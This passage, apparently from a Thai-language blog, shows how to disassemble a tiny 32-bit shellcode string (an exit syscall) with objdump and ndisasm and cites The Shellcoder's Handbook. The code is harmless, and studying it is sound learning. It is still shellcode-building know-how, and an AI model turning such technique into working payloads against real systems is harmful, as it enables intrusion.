$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && objdump -b binary -m i386 -D ./sc.bin.tmp && rm -f sc.bin.tmp ./sc.bin.tmp: file format binary Disassembly of section .data: 00000000 <.data>: 0: 31 c0 xor %eax,%eax 2: 31 db xor %ebx,%ebx 4: b0 01 mov $0x1,%al 6: cd 80 int $0x80
วิธีที่สาม (สุดท้ายของผม) คือใช้คำสั่ง ndisasm
$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x01\xcd\x80"' > sc.bin.tmp && ndisasm -b 32 ./sc.bin.tmp && rm -f sc.bin.tmp 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 B001 mov al,0x1 00000006 CD80 int 0x80
Reference:
- The Shellcoder's Handbook: Discovering and Exploiting Security Holes
No comments:
Post a Comment